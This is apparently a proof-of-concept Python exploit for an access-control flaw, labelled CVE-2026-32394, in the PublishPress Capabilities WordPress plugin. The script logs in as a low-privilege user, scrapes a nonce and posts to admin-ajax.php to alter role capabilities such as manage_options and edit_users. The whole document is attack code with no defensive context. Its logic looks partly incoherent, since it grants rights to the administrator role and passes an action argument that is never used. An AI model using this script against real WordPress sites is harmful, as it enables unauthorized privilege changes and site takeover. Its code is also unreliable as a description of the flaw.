CVE-2026-32394

# CVE-2026-32394 PoC - PublishPress Capabilities Access Control Bypass # Author: Security Researcher # Target: WordPress with PublishPress Capabilities plugin <= 2.31.0 import requests import sys from urllib.parse import urlencode TARGET_URL = "http://target-wordpress-site.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def get_wp_nonce(url, action): """Fetch WordPress nonce for the action""" response = session.get(url) if response.status_code == 200: # Extract nonce from response (simplified) import re nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', response.text) if nonce_match: return nonce_match.group(1) return None def exploit(): """Exploit the missing authorization vulnerability""" global session session = requests.Session() # Step 1: Login as low-privilege user login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'testcookie': '1' } login_url = f"{TARGET_URL}/wp-login.php" session.post(login_url, data=login_data) # Step 2: Get admin page to extract nonce admin_url = f"{TARGET_URL}/wp-admin/admin.php?page=pp-capabilities-roles" nonce = get_wp_nonce(admin_url, 'pp_capabilities_update_roles') # Step 3: Craft exploit request to modify admin role capabilities exploit_data = { '_wpnonce': nonce, 'action': 'pp_capabilities_update_roles', 'role': 'administrator', # Grant all capabilities to admin role 'caps[manage_options]': '1', 'caps[edit_users]': '1', 'caps[delete_users]': '1', 'caps[create_users]': '1' } exploit_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit sent successfully!") print("[+] Admin role capabilities may have been modified.") else: print("[-] Exploit failed.") if __name__ == "__main__": exploit()

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